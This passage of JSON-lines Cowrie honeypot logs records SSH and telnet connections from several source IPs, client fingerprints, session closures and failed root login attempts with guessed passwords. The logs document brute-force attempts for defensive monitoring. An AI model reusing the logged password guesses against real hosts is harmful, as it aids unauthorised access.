f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:33.207578Z","src_ip":"43.135.139.74","session":"155de42c078e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"training123","message":"login attempt [root/training123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:33.517190Z","src_ip":"43.135.139.74","session":"155de42c078e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:34.588662Z","src_ip":"43.135.139.74","session":"155de42c078e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.759568214416504,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:37.114303Z","src_ip":"152.42.224.71","session":"b204d799dd6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39228,"dst_ip":"10.17.0.5","dst_port":23,"session":"a348abb0d94e","protocol":"telnet","message":"New connection: 152.42.224.71:39228 (10.17.0.5:23) [session: a348abb0d94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:38.117545Z"}
{"eventid":"cowrie.session.closed","duration":120.0089054107666,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:45.677509Z","src_ip":"152.42.224.71","session":"4a8010b53f91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.476945638656616,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:46.172218Z","src_ip":"152.42.224.71","session":"a593388d5691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56162,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca04d7e8c36e","protocol":"telnet","message":"New connection: 152.42.224.71:56162 (10.17.0.5:23) [session: ca04d7e8c36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:46.236231Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":35670,"dst_ip":"10.17.0.5","dst_port":22,"session":"354afb9c9f5f","protocol":"ssh","message":"New connection: 165.154.6.86:35670 (10.17.0.5:22) [session: 354afb9c9f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:46.285944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:46.290894Z","src_ip":"165.154.6.86","session":"354afb9c9f5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:46.500805Z","src_ip":"165.154.6.86","session":"354afb9c9f5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:47.370340Z","src_ip":"165.154.6.86","session":"354afb9c9f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.01104283332825,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:47.756611Z","src_ip":"152.42.224.71","session":"c929788f28c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:48.581725Z","src_ip":"165.154.6.86","session":"354afb9c9f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0054976940155,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:53.177970Z","src_ip":"152.42.224.71","session":"0e3789d4a8da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56164,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d00faf231a","protocol":"telnet","message":"New connection: 152.42.224.71:56164 (10.17.0.5:23) [session: 77d00faf231a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:55.154815Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":50820,"dst_ip":"10.17.0.5","dst_port":22,"session":"327f2ff1e0f3","protocol":"ssh","message":"New connection: 165.154.227.158:50820 (10.17.0.5:22) [session: 327f2ff1e0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:59.216084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:59.221131Z","src_ip":"165.154.227.158","session":"327f2ff1e0f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:59.445759Z","src_ip":"165.154.227.158","session":"327f2ff1e0f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pk@123","message":"login attempt [root/pk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:00.375432Z","src_ip":"165.154.227.158","session":"327f2ff1e0f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:01.604364Z","src_ip":"165.154.227.158","session":"327f2ff1e0f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.30915427207947,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:04.973140Z","src_ip":"152.42.224.71","session":"97a84df8b75c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50192,"dst_ip":"10.17.0.5","dst_port":23,"session":"517115ff8e5e","protocol":"telnet","message":"New connection: 152.42.224.71:50192 (10.17.0.5:23) [session: 517115ff8e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:05.961785Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53926,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4016db57436","protocol":"telnet","message":"New connection: 152.42.224.71:53926 (10.17.0.5:23) [session: e4016db57436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:17.384485Z"}
{"eventid":"cowrie.session.closed","duration":120.00398683547974,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:21.161050Z","src_ip":"152.42.224.71","session":"228f5c8b09a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":52608,"dst_ip":"10.17.0.5","dst_port":22,"session":"387039eef7af","protocol":"ssh","message":"New connection: 103.27.238.116:52608 (10.17.0.5:22) [session: 387039eef7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:24.371096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:24.375897Z","src_ip":"103.27.238.116","session":"387039eef7af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53928,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb8a49dd88d","protocol":"telnet","message":"New connection: 152.42.224.71:53928 (10.17.0.5:23) [session: 6cb8a49dd88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:24.380410Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:24.637765Z","src_ip":"103.27.238.116","session":"387039eef7af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46812,"dst_ip":"10.17.0.5","dst_port":22,"session":"4327d4e772be","protocol":"ssh","message":"New connection: 103.27.238.120:46812 (10.17.0.5:22) [session: 4327d4e772be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:24.987946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:24.993723Z","src_ip":"103.27.238.120","session":"4327d4e772be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:25.246941Z","src_ip":"103.27.238.120","session":"4327d4e772be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiopa","message":"login attempt [root/qwertyuiopa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:25.422122Z","src_ip":"103.27.238.116","session":"387039eef7af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"korova","message":"login attempt [root/korova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:26.007751Z","src_ip":"103.27.238.120","session":"4327d4e772be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":26701,"dst_ip":"10.17.0.5","dst_port":22,"session":"287a9eb760d1","protocol":"ssh","message":"New connection: 117.121.214.50:26701 (10.17.0.5:22) [session: 287a9eb760d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:26.167222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:26.172102Z","src_ip":"117.121.214.50","session":"287a9eb760d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:26.427813Z","src_ip":"117.121.214.50","session":"287a9eb760d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:26.692345Z","src_ip":"103.27.238.116","session":"387039eef7af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:27.263171Z","src_ip":"103.27.238.120","session":"4327d4e772be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser11","message":"login attempt [root/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:27.466990Z","src_ip":"117.121.214.50","session":"287a9eb760d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:28.723838Z","src_ip":"117.121.214.50","session":"287a9eb760d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":43236,"dst_ip":"10.17.0.5","dst_port":22,"session":"1511bce570e2","protocol":"ssh","message":"New connection: 52.236.56.129:43236 (10.17.0.5:22) [session: 1511bce570e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:29.277121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:29.281737Z","src_ip":"52.236.56.129","session":"1511bce570e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:29.348239Z","src_ip":"52.236.56.129","session":"1511bce570e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jefry","message":"login attempt [root/jefry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:29.645235Z","src_ip":"52.236.56.129","session":"1511bce570e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43872,"dst_ip":"10.17.0.5","dst_port":23,"session":"27dea432dc6d","protocol":"telnet","message":"New connection: 152.42.224.71:43872 (10.17.0.5:23) [session: 27dea432dc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:29.924845Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:30.714823Z","src_ip":"52.236.56.129","session":"1511bce570e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":48156,"dst_ip":"159.203.135.109","dst_port":23,"session":"683e9fd76e85","protocol":"telnet","message":"New connection: 213.108.3.46:48156 (159.203.135.109:23) [session: 683e9fd76e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:32.482553Z"}
{"eventid":"cowrie.session.closed","duration":0.015679121017456055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:32.498111Z","src_ip":"213.108.3.46","session":"683e9fd76e85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43882,"dst_ip":"10.17.0.5","dst_port":23,"session":"db4595453fe4","protocol":"telnet","message":"New connection: 152.42.224.71:43882 (10.17.0.5:23) [session: db4595453fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:32.778655Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39926,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e73c5837441","protocol":"telnet","message":"New connection: 152.42.224.71:39926 (10.17.0.5:23) [session: 0e73c5837441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:36.257029Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39938,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b33cbe88c82","protocol":"telnet","message":"New connection: 152.42.224.71:39938 (10.17.0.5:23) [session: 8b33cbe88c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:38.446844Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":34754,"dst_ip":"10.17.0.5","dst_port":22,"session":"8498da5ba0b5","protocol":"ssh","message":"New connection: 166.1.144.134:34754 (10.17.0.5:22) [session: 8498da5ba0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:41.826382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:41.830937Z","src_ip":"166.1.144.134","session":"8498da5ba0b5","protocol":"ssh"}
